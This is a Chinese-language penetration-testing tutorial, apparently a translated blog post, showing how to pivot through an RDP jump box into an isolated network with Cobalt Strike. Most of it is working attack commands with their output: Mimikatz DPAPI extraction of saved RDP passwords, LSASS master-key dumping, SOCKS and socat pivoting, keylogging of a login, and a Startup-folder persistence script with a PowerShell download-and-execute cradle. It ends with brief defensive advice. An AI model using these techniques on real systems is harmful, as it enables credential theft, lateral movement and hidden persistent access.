如何使用RDP跳過網絡隔離?
簡介
本文我將向大家演示,如何通過RDP跳轉盒進入隔離/受保護的網絡。下圖是我為該場景制作的拓撲圖:
簡要說明:
LAN是一種扁平的工作站和服務器網絡。
一些服務器(包括RDP跳轉盒)無法與Internet連接。
工作站可以通過代理訪問Internet。
RDP跳轉盒是LAN上唯一可以與“Secret Network(隔離網絡)”通話的主機,僅限於3389端口。
rasta-lan.local和secret-lan.local是兩種不同的網絡。
LAN網段為:10.0.0.0/16;隔離網絡網段為:172.16.0.0/24。
通過該方案,滲透測試人員可以在其滲透主機(Windows 10)上打開遠程桌面連接,並利用RDP直接連接到隔離/受保護的目標服務器上。
場景預設
我們已有一個名為rasta_mouse的域用戶組成員的beacon(信標)。通過查詢目標服務器,以確定哪些用戶/組已被授予了RDP訪問權限。
beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
ComputerName : RDP01
AccountName : rasta-lan.local/Jump Box Users
IsDomain : True
IsGroup : True
SID : S-1-5-21-2294392343-2072776990-791666979-1106
誰是Jump Box(跳轉盒)用戶組的成員?
beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
GroupDomain : rasta-lan.local
GroupName : Jump Box Users
MemberDomain : rasta-lan.local
MemberName : rasta_mouse_adm
MemberSID : S-1-5-21-2294392343-2072776990-791666979-1107
IsGroup : False
MemberDN : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local
rasta_mouse有兩個單獨的帳戶,這意味著我們需要獲取到rasta_mouse_adm的賬戶憑據才能繼續我們下一步的操作。這裏我將探討兩種可能的方法。
憑據管理器 & DPAPI
如果用戶選擇了保存RDP憑據,並且你也有SeDebugPrivilege權限來執行此操作,那麽這將是最有趣和有效的辦法。
在憑據管理器GUI中的Windows憑據:
你也可以在命令行上獲取:
beacon> shell vaultcmd /listcreds:"Windows Credentials" /all
Credentials in vault: Windows Credentials
Credential schema: Windows Domain Password Credential
Resource: Domain:target=TERMSRV/rdp01
Identity: LAN\rasta_mouse_adm
Hidden: No
Roaming: No
Property (schema element id,value): (100,2)
這些憑據存儲在用戶目錄C:\Users\<username>\AppData\Local\Microsoft\Credentials\*中。
beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 02/09/2017 13:37 412 2647629F5AA74CD934ECD2F88D64ECD0
-a-hs- 30/08/2017 19:28 11204 DFBE70A7E5CC19A398EBF1B96859CE5D
現在我們來查看C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 。
beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 00000030 - 48
szDescription : Local Credential Data
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : be072ec0f54a6ceaffd09fe2275d72f9
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : a3579f9e295013432807757d3bcdf82e
dwDataLen : 000000d8 - 216
pbData : 0bad8cb788a364061fa1eff57c3cbc83c8aa198c95537f66f2f973c8fe5e7210626c58423b84b55f604cff2b23165b690ad7fa7ad03d80051cb7c1a0e987f36586ede1bd7ff7e2b9f1d3cbc4b8f1b8557ab1be3402d3bfe39b1682353504ff156615b44ea83aa173c3f7830b65bf9202d823932ca69413fcb8bca1a76893c7cbab7e0ee0bbe9269a8b9f65e88e099334177be15cf977a44b77ba6e829c89303ef4764f5fd661e722c7508ad2e01a41f9cd079fc7ce5a8dba90c94a2314941674ad47567bd9c980548f809fe72ce4895b6a56cb9148c47afb
dwSignLen : 00000014 - 20
pbSign : 43559a2b2e9b11bc4b56828a1d2ece489c9dfd52
以上我們需要關註的是pbData和guidMasterKey的信息。pbData是我們要解密的數據,guidMasterKey是解密所需要的密鑰。
這裏LSASS已經在其緩存中存有這個key – 因此我們可以使用SeDebugPrivilege獲取。
beacon> mimikatz !sekurlsa::dpapi
在輸出信息中,我們找到了我們需要的GUID和關聯的MasterKey。
[00000000]
* GUID : {6515c6ef-60cd-4563-a3d5-3d70a6bc6992}
* Time : 02/09/2017 13:37:51
* MasterKey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
* sha1(key) : 89f35906909d78c84ba64af38a2bd0d1d96a0726
如果我們在交互模式下運行mimikatz,它會自動將這些密鑰添加到我們的dpapi緩存中,並在嘗試解密憑據時使用它們。但是,通過Cobalt Strike運行mimikatz不允許我們保留相同的會話(至少我不知道該如何保留)。所以,我們必須要拿到key並手動使用它。
beacon> mimikatz dpapi::cred /in:C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
Decrypting Credential:
* masterkey : 95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000d2 - 210
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 02/09/2017 12:37:44
unkFlagsOrSize : 00000030 - 48
Persist : 00000002 - 2 - local_machine
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:target=TERMSRV/rdp01
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : LAN\rasta_mouse_adm
CredentialBlob : Sup3rAw3s0m3Passw0rd! <--- BOOM!
Attributes : 0
RDP01
這些憑據將用於RDP進入跳轉盒 – 因為是直接從我們的滲透機器上這樣做。所以,我們先在我們當前的信標上設置一個SOCKS代理。
beacon> socks 1337
[+] started SOCKS4a server on: 1337
- SSH進入你的Teamserver,並安裝socat和proxychains(如果還未安裝)。
- 修改proxychains.conf配置文件,以在端口1337上使用127.0.0.1。
- 然後用proxychains運行socat – > proxychains -> proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389。
這將允許我們的Teamserver在3389端口監聽,任何進入該該端口的流量,都將被重定向到socks代理10.0.0.100:3389上。
現在,我們已經RDP到了我們的Teamserver的IP地址,我們應該已經在jump box上了…
Persistence
為了保持對該服務器的持久訪問,我們可以進行簡單的設置,以便當真正的rasta_mouse_adm用戶連接時, 我們可以獲取到一個SMB Beacon。
操作步驟如下:
- 創建一個無狀態PowerShell SMB Beacon payload。
- 在你的Teamserver((web delivery))上將其托管在/smb。
- 在我們當前的beacon創建一個Reverse Port Foward -> rportfwd 8080 178.62.56.134 80。
- 創建C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat,並寫入以下內容:
powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring(‘http://10.0.1.200:8080/smb‘))"
- 註銷RDP會話。
當真正的用戶登錄時,我們將會在我們屏幕上獲取到以下信息:
09/02 14:19:45 visit from: 178.62.56.134
Request: GET /smb
page Serves /opt/cobaltstrike/uploads/beacon.ps1
null
讓我們連接到beacon。
beacon> link 10.0.0.100
[+] established link to child beacon: 10.0.0.100
註意:如果用戶註銷了,我們將會失去beacon;如果僅僅只是斷開連接,那麽我們將保持連接。
SECRET
現在我們已經在jump box上了,我們的目標是SECRET。那麽,我們該如何進入SECRET呢?
你實際上我們可以通過鍵盤記錄來獲取到我們想要的信息,如下:
beacon> keylogger 1816 x64
Start menu
=======
remo
Remote Desktop Connection
=======
172.16.0.10
Windows Security
=======
SECRET\rasta_mouse[tab]Passw0rd!
停止當前Beacon中的SOCKS代理,以及Teamserver上的proxychains/socat。
在jump box上啟動一個新的SOCKS代理(你可以使用相同的端口)。
在你的Teamserver上運行proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389。
像之前一樣,RDP到Teamsever IP,我們將直接進入到SECRET。
總結
不要保存RDP憑據在jump boxes上,建議使用雙因素身份認證。DPAPI沒有足夠的保護。https://t.co/1lBySQcVYt
— Matthew Dunwoody (@matthewdunwoody) September 2, 2017
如何使用RDP跳過網絡隔離?